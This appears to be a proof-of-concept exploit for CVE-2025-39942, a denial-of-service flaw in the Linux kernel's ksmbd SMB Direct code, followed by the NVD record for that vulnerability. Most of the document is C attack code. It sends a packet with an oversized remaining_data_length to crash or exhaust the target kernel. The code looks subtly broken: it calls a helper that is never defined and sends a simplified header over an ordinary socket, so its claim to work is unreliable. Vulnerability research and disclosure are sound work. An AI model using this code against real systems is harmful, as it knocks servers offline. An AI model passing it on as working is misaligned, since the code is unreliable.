CVE-2025-39942

// CVE-2025-39942 PoC - ksmbd smbdirect remaining_data_length validation bypass // This PoC demonstrates triggering the vulnerability by sending a malformed // SMB Direct packet with an oversized remaining_data_length field. // Requires local access to a system running vulnerable ksmbd with smbdirect enabled. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/connector.h> // SMB Direct header structure (simplified) struct smbdirect_header { uint32_t data_offset; uint32_t data_length; uint32_t remaining_data_length; // This field is the vulnerability target uint32_t flags; uint64_t message_id; }; // max_fragmented_recv_size as defined in ksmbd smbdirect #define MAX_FRAGMENTED_RECV_SIZE (1024 * 1024) // 1MB default int main(int argc, char *argv[]) { struct smbdirect_header pkt; int ret; printf("[*] CVE-2025-39942 PoC - ksmbd smbdirect DoS\n"); // Connect to local ksmbd smbdirect endpoint int fd = connect_to_smbdirect("127.0.0.1", 5445); if (fd < 0) { fprintf(stderr, "[-] Failed to connect to smbdirect endpoint\n"); return 1; } printf("[*] Connected to smbdirect endpoint\n"); // Craft malicious packet with oversized remaining_data_length memset(&pkt, 0, sizeof(pkt)); pkt.data_offset = 0; pkt.data_length = 1024; // Small actual data pkt.remaining_data_length = 0xFFFFFFFF; // Exceeds max_fragmented_recv_size pkt.flags = 0; pkt.message_id = 1; printf("[*] Sending malformed packet with remaining_data_length=0x%X\n", pkt.remaining_data_length); printf("[*] max_fragmented_recv_size=0x%X\n", MAX_FRAGMENTED_RECV_SIZE); // Send the malicious packet ret = send(fd, &pkt, sizeof(pkt), 0); if (ret < 0) { perror("send"); return 1; } printf("[*] Packet sent. Check target system for kernel crash/OOM.\n"); close(fd); return 0; }

{"cve": {"id": "CVE-2025-39942", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T08:15:47.230", "lastModified": "2026-03-25T00:45:27.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: smbdirect: verify remaining_data_length respects max_fragmented_recv_size\n\nThis is inspired by the check for data_offset + data_length."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15.1", "versionEndExcluding": "6.1.154", "matchCriteriaId": "EA7B2923-61F5-47B1-A3A1-2721B0938725"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.108", "matchCriteriaId": "A7E8EAEE-7731-4996-9578-696255D61EA2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.49", "matchCriteriaId": "CAA033E9-A2C5-4976-A83E-9804D8FB827F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.16.9", "matchCriteriaId": "638DD910-1189-4F5E-98BF-2D436B695112"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.15:-:*:*:*:*:*:*", "matchCriteriaId": "40D9C0D1-0F32-4A2B-9840-1072F5497540"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.15:rc7:*:*:*:*:*:*", "matchCriteriaId": "948A6B8D-1B72-4945-8680-354E53BE1C80"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:*", "matchCriteriaId": "327D22EF-390B-454C-BD31-2ED23C998A1C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc2:*:*:*:*:*:*", "matchCriteriaId": "C730CD9A-D969-4A8E-9522-162AAF7C0EE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:*", "matchCriteriaId": "39982C4B-716E-4B2F-8196-FA301F47807D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:*", "matchCriteriaId": "340BEEA9-D70D-4290-B502-FBB1032353B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc5:*:*:*:*:*:*", "matchCriteriaId": "47E4C5C0-079F-4838-971B-8C503D48FCC2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc6:*:*:*:*:*:*", "matchCriteriaId": "5A4516A6-C12E-42A4-8C0E-68AEF3264504"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/196a3a7676d726ee67621ea2bf3b7815ac2685b4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9644798294c7287e65a7b26e35aa6d2ce3345bcc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c64b915bb3d9339adcae5db4be2c35ffbef5e615", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d3cb3f209d35c44b7ee74f77ed27ebb28995b9ce", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e1868ba37fd27c6a68e31565402b154beaa65df0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}